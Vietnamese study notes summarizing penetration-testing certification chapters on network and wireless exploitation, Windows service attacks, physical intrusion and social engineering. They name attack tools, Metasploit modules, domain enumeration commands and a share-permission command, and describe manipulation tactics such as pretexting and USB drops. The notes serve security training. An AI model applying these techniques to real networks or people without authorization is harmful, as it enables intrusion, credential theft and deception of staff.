  • Di chuyển ngang trên một hệ thống: Xoay vòng từ tài khoản hoặc dịch vụ này sang tài khoản hoặc dịch vụ khác trên cùng một hệ thống.
  • Hiểu thiết kế hệ thống và mạng: Bao gồm các dịch vụ và biện pháp phòng thủ bên trong và bên ngoài, để xoay vòng hiệu quả hơn.

Tóm lại, tài liệu này nhấn mạnh rằng thử nghiệm thâm nhập không chỉ là tìm và khai thác lỗ hổng mà còn là một quy trình phức tạp bao gồm lựa chọn mục tiêu chiến lược, sử dụng các công cụ mạnh mẽ như Metasploit, áp dụng các kỹ thuật hậu khai thác như leo thang đặc quyền và tấn công mật khẩu, cũng như duy trì quyền truy cập và che giấu dấu vết để mở rộng phạm vi tấn công trong mạng mục tiêu. Kỹ năng mềm như kỹ thuật xã hội cũng được coi là yếu tố quan trọng để vượt qua các kiểm soát bảo mật.

Tổng quan chi tiết về Khai thác lỗ hổng mạng và Thử nghiệm xâm nhập

Tài liệu này cung cấp một cái nhìn toàn diện về các phương pháp và kỹ thuật được sử dụng trong việc khai thác lỗ hổng mạng và thực hiện thử nghiệm xâm nhập, đặc biệt tập trung vào môi trường Windows và các dịch vụ mạng phổ biến. Nó cũng bao gồm các cuộc tấn công mạng không dây và các chiến lược vượt qua kiểm soát bảo mật.

I. Các hình thức tấn công mạng và mục tiêu chung

Các cuộc tấn công mạng đa dạng, tập trung vào lỗ hổng giao thức, cấu hình cụ thể, hoặc tìm cách “có được quyền truy cập vào mạng hoặc thuyết phục các hệ thống mục tiêu rằng chúng là máy chủ hợp pháp hoặc đường dẫn mạng chính xác để gửi lưu lượng truy cập qua đó cho phép tấn công kẻ trung gian.” (Chương 7, Khai thác lỗ hổng mạng). Mục tiêu cuối cùng là thâm nhập các hệ thống không thể truy cập từ bên ngoài ranh giới bảo mật của mạng, thu thập thông tin xác thực và dữ liệu.

II. Đánh giá tại chỗ và kịch bản thực tế

Kịch bản đánh giá tại chỗ mô tả một công ty có hơn 500 nhân viên, sử dụng cả miền Active Directory của Windows 2012 và máy chủ Linux cho các dịch vụ web và nội bộ/bên ngoài. Kịch bản đặt ra các câu hỏi quan trọng cho người thử nghiệm xâm nhập:

  • Truy cập mạng có dây: Làm thế nào để truy cập mạng có dây MCDS nếu nó sử dụng lược đồ NAC dựa trên địa chỉ MAC hoặc tiếp cận dựa trên khách hàng?
  • Thu thập thông tin mạng không dây: Làm thế nào để thu thập thông tin về mạng 802.11n của MCDS, bao gồm mạng khách mở (MCDS_GUEST) và mạng WPA-2 Enterprise xác thực qua RADIUS tới Active Directory?
  • Các cuộc tấn công mạng có dây sau khi truy cập: Các cuộc tấn công nào có thể được sử dụng chống lại mạng có dây sau khi có quyền truy cập?

III. Tiến hành khai thác mạng (Conducting Network Exploits)

Khi đã có quyền truy cập vào hệ thống hoặc mạng, người kiểm tra có thể khai thác chính mạng đó. Điều này bao gồm tấn công các giao thức và hành vi mạng, thực hiện tấn công man-in-the-middle, tấn công từ chối dịch vụ (DoS) và tấn công các biện pháp kiểm soát bảo mật như NAC.

A. VLAN Hopping

VLAN được sử dụng để tạo ranh giới bảo mật nội bộ. Tấn công nhảy VLAN (“VLAN Hopping”) là một kỹ thuật hấp dẫn để truy cập các VLAN khác. Có hai phương pháp phổ biến:

  • Gắn thẻ kép (Double-tagging): Chèn một thẻ VLAN gốc và một thẻ VLAN đích vào gói tin 802.1Q. “Điều này làm cho gói được chuyển qua các công tắc trên VLAN gốc của nó, với công tắc tiếp theo trong chuyến đi của nó đọc thẻ thứ hai.” (Chương 7, Khai thác lỗ hổng mạng). Tuy nhiên, kỹ thuật này có hạn chế là hệ thống gốc sẽ không nhận được phản hồi và chỉ hoạt động khi các thiết bị chuyển mạch cho phép các VLAN gốc.
  • Giả mạo chuyển mạch (Switch spoofing): Làm cho máy chủ tấn công hoạt động giống như một công tắc trung kế, cho phép nó xem lưu lượng truy cập trên các VLAN khác. Yêu cầu thiết bị mạng được cấu hình để cho phép máy chủ tấn công thương lượng các trung kế. Công cụ Yersinia trong Kali Linux có thể được sử dụng để thực hiện các cuộc tấn công này.

B. Network Proxies

Proxy mạng, đặc biệt là SOCKS proxy qua SSH, có thể giúp người thử nghiệm tunnel lưu lượng truy cập qua một hoặc nhiều máy chủ, che giấu nguồn gốc của lưu lượng. Điều này hữu ích khi không thể tải công cụ trực tiếp lên máy chủ từ xa hoặc cần kiểm tra lưu lượng từ các địa chỉ IP cụ thể, hoặc để vượt qua tường lửa.

C. DNS Cache Poisoning (Nhiễm độc bộ nhớ cache DNS)

Còn gọi là DNS spoofing, kỹ thuật này cho phép chuyển hướng lưu lượng truy cập đến một máy chủ do kẻ tấn công kiểm soát. Mặc dù lỗ hổng nổi tiếng nhất được công bố vào năm 2008 và hiện nay rất hiếm máy chủ DNS dễ bị tấn công, người thử nghiệm có thể sửa đổi tệp host cục bộ trên các hệ thống bị xâm nhập hoặc giành quyền kiểm soát máy chủ DNS thực tế của mạng.

D. Man-in-the-Middle (MITM)

Mục tiêu của MITM là chặn lưu lượng truy cập giữa hai hệ thống.

  • ARP Spoofing: Giả mạo phản hồi ARP để cung cấp địa chỉ MAC sai cho địa chỉ IP, khiến nạn nhân gửi lưu lượng truy cập đến hệ thống của kẻ tấn công. “Giả mạo ARP xảy ra khi kẻ tấn công gửi thông điệp ARP giả mạo trên mạng cục bộ, do đó cung cấp địa chỉ MAC không chính xác để ghép nối địa chỉ IP cho hệ thống hoặc các hệ thống bị lừa.” (Chương 7, Khai thác lỗ hổng mạng). Chỉ hoạt động trên mạng cục bộ. Công cụ arpspoof trong Kali Linux và mô-đun Metasploit auxiliary/spoof/arp/arp_poisoning có thể được sử dụng.
  • Replay Attacks (Tấn công phát lại): Thu thập và gửi lại dữ liệu. Một ví dụ phổ biến là tấn công NTLM pass-the-hash, nơi các hash NTLM bị đánh cắp được sử dụng để xác thực trên các hệ thống không yêu cầu ký SMB. Responder và các công cụ khác có thể chặn các nỗ lực xác thực và chuyển tiếp NTLM.
  • Relay Attacks (Tấn công tiếp sức): Tương tự như MITM nhưng hệ thống trung gian chỉ được sử dụng để chuyển tiếp các cuộc tấn công mà không sửa đổi chúng. Có thể được sử dụng cho cả mạng IP truyền thống và các công nghệ như thẻ RFID.
  • SSL Stripping Attacks (Tấn công tước SSL): Hạ cấp kết nối HTTPS xuống HTTP để truy cập lưu lượng truy cập chưa được mã hóa, bao gồm thông tin xác thực và mật khẩu. Còn gọi là tấn công hạ cấp HTTP. Các chính sách cục bộ như ghim chứng chỉ và trình duyệt hiện đại có thể giúp ngăn chặn.
  • Downgrade Attacks (Tấn công hạ cấp): Chặn bắt tay TLS và sửa đổi gói tin để yêu cầu các phương pháp mã hóa yếu hơn, cho phép kẻ tấn công dễ dàng đọc lưu lượng.

E. NAC Bypass (Vượt qua kiểm soát truy cập mạng)

Các hệ thống NAC phát hiện thiết bị mới kết nối và yêu cầu xác thực. Người thử nghiệm xâm nhập cần xác định phương pháp phát hiện của NAC (ví dụ: ứng dụng khách phần mềm, proxy DHCP, trình nghe quảng bá, bẫy SNMP) để vượt qua chúng.

  • Phương pháp vượt qua:Hệ thống dựa trên địa chỉ MAC có thể bị vượt qua bằng cách hiển thị địa chỉ MAC trùng lặp (sử dụng macchanger trong Kali Linux).
  • Proxy DHCP có thể bị vượt qua bằng cách sử dụng địa chỉ IP tĩnh mà mạng đã tin cậy.

F. DoS Attacks and Stress Testing (Tấn công DoS và Kiểm tra căng thẳng)

Tấn công DoS có thể bị cấm trong nhiều thử nghiệm xâm nhập nhưng đôi khi được phép để đánh giá khả năng chống chịu của hệ thống.

  • Các loại tấn công DoS chính:Lớp ứng dụng: Làm hỏng một dịch vụ hoặc toàn bộ máy chủ.
  • Dựa trên giao thức: Lợi dụng lỗ hổng giao thức (ví dụ: SYN flood).
  • Dựa trên lưu lượng truy cập: Áp đảo mục tiêu bằng cách gửi quá nhiều lưu lượng.
  • Công cụ: Hping, Metasploit (ví dụ: auxiliary/dos/tcp/synflood), HTTP Unbearable Load King (HULK), Low Orbit Ion Cannon (LOIC), High Orbit Ion Cannon (HOIC), SlowLoris.

IV. Khai thác dịch vụ Windows (Exploiting Windows Services)

Windows là mục tiêu hấp dẫn do sự phổ biến của nó.

A. NetBIOS Name Resolution Exploits

NetBIOS thường được sử dụng để chia sẻ tệp và nhiều dịch vụ Windows khác cũng dựa vào giao thức này. Các hệ thống Windows sử dụng NetBIOS Name Service (NBNS) sau khi không thể phân giải tên máy chủ qua tệp host cục bộ hoặc DNS. “Windows gửi các truy vấn quảng bá đến địa chỉ quảng bá của mạng con cục bộ thông qua LLMNR và NetBIOS, tạo cơ hội cho bạn trả lời bằng phản hồi giả mạo, chuyển hướng lưu lượng truy cập đến máy chủ mà bạn lựa chọn.” (Chương 7, Khai thác lỗ hổng mạng).

  • Cổng và Dịch vụ liên quan đến NetBIOS:135/TCP: MS-RPC endpoint mapper (epmap)
  • 137/UDP: NetBIOS name service
  • 138/UDP: NetBIOS datagram service
  • 139/TCP: NetBIOS session service
  • 445/TCP: SMB
  • Sử dụng Responder: Responder là công cụ mạnh mẽ để khai thác phản hồi NetBIOS và LLMNR, cho phép phân tích hoặc phản hồi các truy vấn, giả vờ là hệ thống mà truy vấn dành cho. Nó tự động nắm bắt các hash xác thực, ví dụ NTLM hash, có thể được sử dụng trong các cuộc tấn công pass-the-hash hoặc chuyển tiếp xác thực để thực thi mã. Chức năng Mimikatz tích hợp trong Responder có thể thu thập thêm thông tin xác thực.

B. Windows Net Commands

Các lệnh net tích hợp sẵn trong Windows hữu ích để khám phá miền và thông tin hệ thống:

  • net view /domain: Liệt kê các máy chủ trong miền.
  • net user /domain: Liệt kê người dùng trong miền.
  • net accounts /domain: Hiển thị chính sách mật khẩu miền.
  • net group /domain: Liệt kê các nhóm trên miền.
  • net group “Domain Admins” /domain: Liệt kê người dùng trong nhóm Quản trị viên miền.
  • net share: Hiển thị các chia sẻ SMB hiện tại.
  • net session: Xem lại các phiên SMB.
  • Net share [name of share] c:\directory\of\your\choice /GRANT:Everyone,FULL: Cấp quyền truy cập vào thư mục.

C. SMB Exploits (Khai thác SMB)

Triển khai SMB trong Windows là mục tiêu phổ biến. Các lỗ hổng như MS17-010 (EternalBlue) cho phép thực thi mã từ xa. Metasploit bao gồm các mô-đun khai thác cho EternalBlue.

V. Khai thác dịch vụ phổ biến (Exploiting Common Services)

Người thử nghiệm xâm nhập cần quen thuộc với các khai thác SMB, SNMP, SMTP, FTP và DNS.

A. SNMP Exploits (Khai thác SNMP)

Giao thức Quản lý Mạng Đơn giản (SNMP) hoạt động trên cổng UDP 161 và được sử dụng để thu thập thông tin về thiết bị mạng. SNMP tổ chức dữ liệu thành các MIB (cơ sở thông tin quản lý).

  • Các phiên bản SNMP:SNMP v1: Bảo mật kém, lỗi thời.
  • SNMP v2: Chức năng quản trị bổ sung, bảo mật yếu.
  • SNMP v3: Chức năng tương đương v2 nhưng bổ sung khả năng bảo mật, tính toàn vẹn và xác thực.
  • Khai thác: Mục tiêu là xác định các chuỗi cộng đồng (ví dụ: “public”) để thu thập thông tin thiết bị. Trong môi trường cấu hình kém, có thể có quyền đọc/ghi. Công cụ Kali Linux như snmpenum và snmpwalk được sử dụng để lập bản đồ và truy vấn thiết bị bật SNMP.

B. SMTP Exploits (Khai thác SMTP)

Giao thức truyền thư đơn giản (SMTP) hoạt động trên cổng TCP 25. Là một giao thức cũ, không có nhiều tính năng bảo mật tích hợp.

  • Khai thác: Thu thập thông tin biểu ngữ để xác định phiên bản máy chủ dễ bị tổn thương. Sử dụng các lệnh EXPN và VRFY (qua telnet) để thu thập ID người dùng/bí danh. Metasploit có auxiliary/scanner/smtp/smtp_enum để liệt kê người dùng. Máy chủ SMTP có thể được sử dụng để gửi email giả mạo từ người gửi đáng tin cậy để hỗ trợ tấn công kỹ thuật xã hội.

C. FTP Exploits (Khai thác FTP)

Giao thức truyền tệp (FTP) là một giao thức văn bản rõ ràng, không được mã hóa, hoạt động trên cổng TCP 21.

  • Khai thác: Đơn giản nhất là chặn tên người dùng và mật khẩu trên dây. Các máy chủ FTP có thể tự bị lỗ hổng do là dịch vụ bị bỏ quên hoặc tích hợp trong các thiết bị nhúng khó cập nhật. Các máy chủ FTP cấu hình sai có thể cho phép điều hướng bên ngoài thư mục gốc hoặc cho phép truy cập công khai vào các thư mục chứa dữ liệu nhạy cảm.

D. Samba Exploits (Khai thác Samba)

Triển khai Samba của Linux cũng có nhiều lỗ hổng, ví dụ như SambaCry năm 2017 cho phép thực thi mã từ xa. Vì Samba và SMB của Microsoft hoạt động trên cùng các cổng và giao thức, việc xác định hệ điều hành là rất quan trọng.

E. SSH Exploits (Khai thác SSH)

Secure Shell (SSH) cung cấp quyền truy cập dòng lệnh an toàn, thường qua cổng TCP 22.

  • Khai thác: Tìm kiếm các phiên bản SSH có lỗ hổng. Sử dụng các công cụ bạo lực như THC Hydra hoặc các mô-đun Metasploit tương đương (ssh_login, ssh_login_pubkey) để đoán mật khẩu.

VI. Khai thác không dây (Wireless Exploits)

Các cuộc tấn công này tập trung vào cách thiết bị không dây kết nối, xác thực và các tính năng cụ thể của mạng không dây.

A. Evil Twins and Wireless MITM (Điểm truy cập giả mạo và MITM không dây)

  • Evil Twin: Tạo điểm truy cập giả mạo mà người dùng không nghi ngờ sẽ kết nối. “Các cuộc tấn công sinh đôi độc ác hoạt động bằng cách tạo ra các điểm truy cập không có thật mà người dùng không nghi ngờ gì sẽ kết nối với.” (Chương 7, Khai thác lỗ hổng mạng). Điều này cho phép thực hiện tấn công MITM hoặc tấn công hạ cấp (lừa khách hàng sử dụng giao thức an toàn hoặc mã hóa yếu hơn).
  • KARMA attacks: Lắng nghe các yêu cầu thăm dò WiFi và giả vờ là điểm truy cập mà hệ thống đã cố gắng kết nối.
  1. Thực hiện với Aircrack-ng:Xác định SSID và địa chỉ MAC của điểm truy cập hợp pháp.
  2. Sao chép điểm truy cập bằng airbase-ng.
  3. Thực hiện tấn công khử xác thực (deauthentication attack).
  4. Đảm bảo AP giả mạo mạnh hơn/gần hơn để khách hàng kết nối lại.
  5. Tiến hành các cuộc tấn công MITM và thu thập thông tin xác thực.

B. Attacking WPS (Tấn công WPS)

WiFi Protected Setup (WPS) là một vấn đề bảo mật đã biết do phương pháp xác thực PIN không an toàn. “Mật khẩu WPS có thể bị tấn công bằng cách sử dụng tấn công bụi pixie, một kiểu tấn công bạo lực buộc khóa cho WPS.” (Chương 7, Khai thác lỗ hổng mạng). Các bộ định tuyến dễ bị tổn thương có thể có thuật toán lựa chọn số ngẫu nhiên kém.

C. Bluetooth Attacks (Tấn công Bluetooth)

Hữu ích khi có quyền truy cập vật lý hoặc trong phạm vi mục tiêu.

  • Bluesnarfing: Đánh cắp thông tin (ví dụ: danh bạ) từ thiết bị hỗ trợ Bluetooth (sử dụng gói bluesnarfer trong Kali Linux).
  • Bluejacking: Gửi tin nhắn không mong muốn qua thiết bị Bluetooth.

D. Other Wireless Protocols and Systems (Các giao thức và hệ thống không dây khác)

Việc phát hiện các thiết bị không dây tiêu chuẩn mở hoặc độc quyền có thể cung cấp thông tin thú vị hoặc đường dẫn vào mạng.

E. Wireless security Tools (Công cụ bảo mật không dây)

  • Aircrack-ng: Thực hiện tấn công phát lại, khử xác thực, hoạt động như AP giả mạo, bẻ khóa WPA PSK.
  • Kismet: Chụp gói và sniff không dây, có thể dùng làm hệ thống phát hiện xâm nhập không dây.
  • WiFite (WiFite2): Kiểm tra mạng không dây, hỗ trợ chụp bắt tay WPA, tấn công bụi pixie, xác định AP ẩn.

F. RFID Cloning (Nhân bản RFID)

Thẻ RFID được sử dụng để kiểm soát truy cập vật lý.

  • Các loại thẻ RFID:Tần số thấp 125–134,2 KHz: Có thể sao chép bằng công cụ sao chép sẵn có.
  • Tần số cao 13,56 MHz: Nhiều điện thoại hỗ trợ NFC có thể nhân bản.
  • Tần số cực cao 865–928 MHz: Thay đổi theo khu vực. Việc nhân bản thẻ RFID có thể làm cho thử nghiệm xâm nhập vật lý đơn giản hơn nhiều.

G. Jamming (Gây nhiễu)

DoS không dây là một kỹ thuật hợp pháp nhưng không phổ biến, dùng để ngăn truy cập thiết bị không dây hoặc ngăn thiết bị giao tiếp với bộ điều khiển/hệ thống giám sát. Có thể không hợp pháp tùy theo khu vực pháp lý.

H. Repeating (Lặp lại)

Lặp lại hoặc chuyển tiếp lưu lượng truy cập có thể giúp người kiểm tra xâm nhập truy cập mạng không dây khi không ở trong phạm vi. Các thiết bị như Pwnie Express Pwnplug cung cấp khả năng triển khai thiết bị từ xa để chuyển tiếp lưu lượng tấn công.

VII. Tóm tắt

Các bài kiểm tra xâm nhập tại chỗ yêu cầu người kiểm tra đạt được quyền truy cập vào mạng có dây hoặc không dây. Sau khi có quyền truy cập, họ có thể “xoay vòng để nhắm mục tiêu các hệ thống và dịch vụ có thể truy cập được trên phân đoạn mạng mà bạn đang sử dụng hoặc các phân đoạn mạng khác mà bạn có thể có quyền truy cập.” (Chương 7, Khai thác lỗ hổng mạng). Điều này có thể bao gồm việc vượt qua NAC, thực hiện tấn công nhảy VLAN, thiết lập điểm truy cập giả, thay đổi địa chỉ MAC hoặc sử dụng thông tin xác thực bị đánh cắp.

Các cuộc tấn công mạng không dây yêu cầu các công cụ và kỹ thuật riêng, bao gồm thiết lập điểm truy cập giả để thực hiện tấn công MITM, khử xác thực hệ thống, thu thập thông tin xác thực từ máy khách không dây và khai thác các điểm yếu như WPS. Hiểu cách nhắm mục tiêu các công nghệ không dây khác như Bluetooth và RFID cũng hữu ích.

Sau khi có quyền truy cập mạng, thông tin xác thực là mục tiêu có giá trị cao. Tấn công MITM qua giả mạo ARP cho phép tiến hành các cuộc tấn công tiếp theo như phát lại, chuyển tiếp, tước SSL và hạ cấp giao thức bảo mật để có được thông tin xác thực hoặc giám sát lưu lượng.

Người kiểm tra xâm nhập cũng phải có khả năng nhắm mục tiêu các dịch vụ phổ biến như SMB, SNMP, SMTP, FTP và SSH, hiểu rõ giao thức cơ bản, các phương pháp khai thác và công cụ liên quan. Các dịch vụ Windows NetBIOS và SMB là mục tiêu phổ biến để đánh cắp hash NTLM và thu thập thông tin xác thực. LLMNR và NetBIOS-NS có thể giúp đạt được vị trí trung gian để tăng cường quyền truy cập và thông tin.

Mặc dù tấn công DoS thường không được phép trong các thử nghiệm xâm nhập, việc hiểu cách sử dụng các công cụ có thể nhắm mục tiêu ứng dụng, giao thức hoặc áp đảo dịch vụ/mạng bằng lưu lượng lớn là rất quan trọng.

Phần còn lại sẽ đăng trên LMS Security365 tại https://elearning.security365.vn

Chương 8 Kiểm tra thâm nhập vật lý và Kỹ thuật xã hội

Tài liệu này cung cấp một cái nhìn tổng quan toàn diện về kiểm tra thâm nhập vật lý và kỹ thuật xã hội, nhấn mạnh tầm quan trọng của chúng trong kho vũ khí của một người kiểm thử xâm nhập và vai trò của chúng trong việc đánh giá hiệu quả của các biện pháp kiểm soát an ninh vật lý và nhân sự.

1. Kiểm tra thâm nhập cơ sở vật chất (Physical Facility Penetration Testing)

Kiểm tra thâm nhập vật lý là một công cụ mạnh mẽ, ít phổ biến hơn kiểm tra thâm nhập dựa trên mạng, nhưng lại mang lại những cơ hội tiếp cận hệ thống và mạng lưới mà các cuộc tấn công mạng từ xa không thể.

  • Lợi ích và mục đích: “Quyền truy cập vật lý trực tiếp là một trong những cách tốt nhất để có được quyền truy cập cấp cao hơn, làm cho các bài kiểm tra thâm nhập vật lý trở thành một công cụ mạnh mẽ trong kho vũ khí của người kiểm tra bút.” Nó cũng hữu ích để “kiểm tra hiệu quả của các biện pháp kiểm soát an ninh vật lý như hệ thống ra vào, cảm biến và camera, quy trình an ninh và bảo vệ, cũng như đào tạo an ninh cho nhân viên.”
  • Giai đoạn quan sát tại chỗ: Không giống như kiểm tra thâm nhập mạng có thể sử dụng các đầu dò chủ động, kiểm tra thâm nhập vật lý yêu cầu “giai đoạn quan sát tại chỗ, trong đó bạn ghi lại cơ sở, môi trường của nó và các biện pháp kiểm soát có thể nhìn thấy được.”
  • Kỹ thuật Pretexting: Đây là một hình thức kỹ thuật xã hội trong đó người kiểm thử trình bày một tình huống cụ thể để có được quyền truy cập hoặc thông tin. “Thông tin thu được trong giai đoạn trinh sát ban đầu của một bài kiểm tra thâm nhập vật lý sẽ cung cấp thông tin chi tiết cần thiết cho việc viết trước thành công khi bạn ở trên trang web bằng cách làm cho câu chuyện của bạn trở nên đáng tin hơn!”

1.1. Nhập cơ sở vật chất (Entering Facilities)

Việc có được quyền truy cập vào các khu vực an ninh cao thường đòi hỏi nhiều nỗ lực hơn các khu vực công cộng.

  • Piggybacking và Tailgating: “Một trong những cách dễ dàng nhất để vào một cơ sở là đi cùng với một nhân viên hợp pháp.” Kỹ thuật này dựa vào việc theo dõi nhân viên qua các cửa an toàn.
  • Mantrap: Các tổ chức có bảo mật cao có thể sử dụng “mantrap” để ngăn chặn việc piggybacking, chỉ cho phép một người đi qua tại một thời điểm và yêu cầu mở khóa hai cánh cửa một cách tuần tự.
  • Mạo danh và lý do hợp lý: Ăn mặc như nhân viên giao hàng hoặc tìm một lý do hợp lý để được nhân viên cho vào là những phương pháp phổ biến khác.

1.2. Khi có gì đó không ổn (When Something Goes Wrong)

Kiểm tra thâm nhập vật lý có khả năng cao dẫn đến việc bị phát hiện hoặc những sự cố bất ngờ. Do đó, việc có một kế hoạch dự phòng là rất quan trọng.

  • Kế hoạch bao gồm:Liên hệ với ai trong tổ chức và thỏa thuận về các hành động khi bị phát hiện, báo động được kích hoạt hoặc cảnh sát bị gọi.
  • Cách xử lý các cuộc chạm trán bất ngờ với nhân viên, bao gồm cách xác định bản thân và câu chuyện được kể, cũng như loại ID sẽ xuất trình.
  • Phải làm gì nếu bị mắc kẹt, vào tù hoặc bị giam giữ.

1.3. Bỏ qua khóa và hệ thống kiểm soát lối vào (Bypassing Locks and Entry Control Systems)

Các kỹ thuật bao gồm từ nhặt khóa đến lợi dụng các lỗ hổng trong hệ thống tự động.

  • Nhặt khóa: “Nhiều người kiểm tra khả năng thâm nhập mang theo một bộ khóa bấm có thể cho phép họ vượt qua nhiều ổ khóa mà họ gặp phải.”
  • Sao chép khóa: Có thể sao chép khóa từ ảnh, tạo ấn tượng hoặc đảo ngược kỹ thuật khóa chính.
  • Thẻ truy cập (Magstripe và RFID) và Bàn phím điện tử: Cần chú ý đến các hệ thống này và các công cụ sao chép. Quyền truy cập có thể đơn giản như “quan sát người dùng hợp pháp đục mã của họ trong tầm nhìn rõ ràng!”
  • Shove keys và các công cụ khác: Các miếng chêm kim loại mỏng có thể được sử dụng để tháo chốt và khóa.
  • Cảm biến đầu ra (Sự thuận tiện đi sai): Các cảm biến được sử dụng để tự động mở khóa cửa để thuận tiện cho nhân viên có thể bị lạm dụng để tiếp cận. Một ví dụ được trích dẫn về việc kẻ trộm sử dụng một công cụ mỏng để kích hoạt cảm biến cửa lối ra và đột nhập vào một cơ sở.

1.4. Vượt qua Phòng thủ Vành đai và Hàng rào (Bypassing Perimeter Defenses and Barriers)

  • Đánh giá hàng rào: Ghi lại loại hàng rào, cách bố trí, điểm yếu và các điểm truy cập hiện có.
  • Cổng và Lối vào: Tập trung vào cách sử dụng các cổng và lối vào hiện có, đồng thời ghi lại các vi phạm hoặc điểm yếu hiện có.

1.5. Các biện pháp kiểm soát chung khác (Other Common Controls)

Ngoài các mục tiêu cụ thể của PenTest+, cần lưu ý đến các biện pháp kiểm soát như báo động, chiếu sáng kích hoạt chuyển động, cảm biến chuyển động và hệ thống giám sát video. Việc ghi lại vị trí và cách thức hoạt động của chúng là rất quan trọng.

1.6. Thu thập thông tin (Information Gathering)

Việc thu thập thông tin trong cơ sở cung cấp dữ liệu hữu ích cho cả kiểm tra thâm nhập vật lý và mạng.

  • Camera ẩn: Nhiều người kiểm tra thâm nhập ghi lại toàn bộ nỗ lực của họ bằng camera ẩn để xem lại cảnh quay, bao gồm camera an ninh, số hiệu nhân viên và thông tin khác.
  • Lặn tìm rác (Dumpster Diving): Thu thập thông tin từ thùng rác của tổ chức, bao gồm giấy tờ, tài liệu, máy tính hoặc phương tiện điện tử khác, để lấy mật khẩu, ID người dùng, số điện thoại hoặc quy trình.

2. Kỹ thuật xã hội (Social Engineering)

Kỹ thuật xã hội nhắm mục tiêu vào con người, khai thác điểm yếu và hành vi của con người để vi phạm các quy trình và chính sách bảo mật. Nó có thể được thực hiện trực tiếp, qua điện thoại, văn bản, email hoặc bất kỳ phương tiện giao tiếp nào khác.

2.1. Tâm lý học và hack con người (Psychology and Hacking Humans)

Thuyết phục mục tiêu cung cấp thông tin hoặc quyền truy cập bằng cách kháng nghị các động cơ tâm lý phổ biến:

  • Niềm tin: Xây dựng nhận thức về sự tin tưởng.
  • Sự đáp trả: Khiến mục tiêu cảm thấy có nghĩa vụ phải đáp lại.
  • Quyền hạn: Khiến mục tiêu tin rằng bạn có quyền yêu cầu hành động hoặc thông tin.
  • Tính khẩn cấp: Tạo cảm giác cần phải hành động ngay lập tức.
  • Sợ hãi: Khiến mục tiêu lo sợ điều gì đó tồi tệ sẽ xảy ra nếu họ không hợp tác.
  • Sự giống nhau: Xây dựng thiện cảm dựa trên sự tương đồng giữa người kiểm thử và mục tiêu.
  • Bằng chứng xã hội: Thuyết phục mục tiêu rằng người khác đã hành xử tương tự.
  • Sự khan hiếm: Tập trung vào ít phần thưởng hoặc cơ hội hơn, đòi hỏi hành động nhanh hơn.
  • Bản chất hữu ích: Khai thác mong muốn giúp đỡ của những người tốt.

2.2. Kỹ thuật xã hội trực tiếp (In-Person Social Engineering)

  • Elicitation (Khơi gợi): Thu thập thông tin mà không trực tiếp yêu cầu, thường bằng cách hỏi các câu hỏi mở hoặc thảo luận các chủ đề không liên quan. Email doanh nghiệp bị xâm nhập có thể được sử dụng để khơi gợi do tính tin cậy.
  • Interrogation và Interviews: Các chiến thuật thẩm vấn trực tiếp hơn, trong khi phỏng vấn đặt đối tượng thoải mái hơn. Ngôn ngữ cơ thể là một manh mối quan trọng.
  • Impersonation (Mạo danh): Hóa trang thành người khác (ví dụ: nhân viên hỗ trợ kỹ thuật, bảo trì, giao hàng) để có quyền truy cập. Thường liên quan đến pretexting để thu thập thông tin về cá nhân đó.
  • Quid Pro Quo: Cung cấp thứ gì đó có giá trị cho mục tiêu để xây dựng lòng tin và sự đáp trả.
  • Shoulder Surfing (Lướt sóng vai): Quan sát trực tiếp (hoặc từ xa bằng camera zoom) vai của mục tiêu để lấy mật khẩu hoặc mã truy cập.
  • USB Key Drops (Thả khóa USB): Thả các ổ USB được tải sẵn công cụ tấn công ở những vị trí mà chúng có khả năng được tìm thấy. Mục tiêu là người tìm thấy sẽ cắm chúng vào máy tính, kích hoạt phần mềm độc hại để “gọi về nhà” và cho phép truy cập từ xa. Việc dán nhãn hấp dẫn (ví dụ: “mức lương 2018/2019”) có thể tăng tỷ lệ thành công.
  • Bribery (Hối lộ): Thu hút nhân viên cho phép truy cập. Mặc dù nhạy cảm, nó có thể là một kỹ thuật hợp lệ trong một số trường hợp với các thỏa thuận xác định phạm vi cẩn thận.

2.3. Tấn công lừa đảo (Phishing Attacks)

Nhắm mục tiêu vào thông tin nhạy cảm như mật khẩu, tên người dùng hoặc thông tin thẻ tín dụng, thường qua email.

  • Các loại lừa đảo:Vishing (Voice Phishing): Lừa đảo qua điện thoại.
  • Smishing (SMS Phishing): Lừa đảo qua tin nhắn SMS.
  • Whaling: Nhắm mục tiêu vào các thành viên cấp cao của một tổ chức (ví dụ: CEO).
  • Spear Phishing: Nhắm mục tiêu vào các cá nhân cụ thể.
  • Ví dụ thực tế: Vụ vi phạm bảo mật RSA năm 2011 do một cuộc tấn công lừa đảo thành công gửi phần mềm độc hại qua tài liệu Excel đính kèm.

2.4. Các cuộc tấn công dựa trên trang web (Website-Based Attacks)

  • Watering Holes: Thỏa hiệp một trang web thường được nhân viên mục tiêu truy cập và sửa đổi mã của nó để bao gồm phần mềm độc hại.
  • Cloned Websites (Trang web nhân bản): Tạo một trang web giống hệt trang web thực nhưng thu thập dữ liệu nhập vào (ví dụ: thông tin đăng nhập).

2.5. Sử dụng công cụ kỹ thuật xã hội (Using Social Engineering Tools)

Các công cụ kỹ thuật tăng cường khả năng của người kiểm thử bằng cách cung cấp các vectơ tấn công được xây dựng trước và tự động hóa.

  • Social Engineering Toolkit (SET): Một hệ thống tấn công kỹ thuật xã hội dựa trên menu được tích hợp trong Kali Linux, cung cấp các phương tiện lừa đảo trực tuyến, trang web, phương tiện lây nhiễm và các vectơ tấn công khác. Nó tích hợp với Metasploit để tạo tải trọng.
  • Browser Exploitation Framework (BeEF): Một công cụ kiểm tra thâm nhập được tích hợp sẵn trong Kali Linux, được thiết kế để khai thác các trình duyệt web. Khi một người dùng truy cập trang web hỗ trợ BeEF, nó cung cấp các “điểm nối hooks” vào nhiều tính năng và khả năng của trình duyệt, cho phép người kiểm thử thực hiện các hành động bên trong trình duyệt (ví dụ: phát hiện cài đặt, phát âm thanh, yêu cầu trang từ xa, phát hiện plugin, khai thác trình duyệt).

Kiểm tra thâm nhập vật lý và kỹ thuật xã hội là các phương pháp mạnh mẽ và hiệu quả để đánh giá lỗ hổng bảo mật của một tổ chức, thường mang lại các tùy chọn truy cập không có sẵn trong các đánh giá từ xa và khai thác điểm yếu của con người để đạt được mục tiêu thâm nhập.

Chương 9 : Khai thác lỗ hổng ứng dụng và Công cụ kiểm thử bảo mật ứng dụng

Tài liệu này tổng hợp các thông tin chính từ chương “Khai thác lỗ hổng ứng dụng” của cuốn sách bảo mật, tập trung vào các loại lỗ hổng phổ biến, kỹ thuật khai thác, và các công cụ được sử dụng để kiểm tra và bảo vệ ứng dụng.

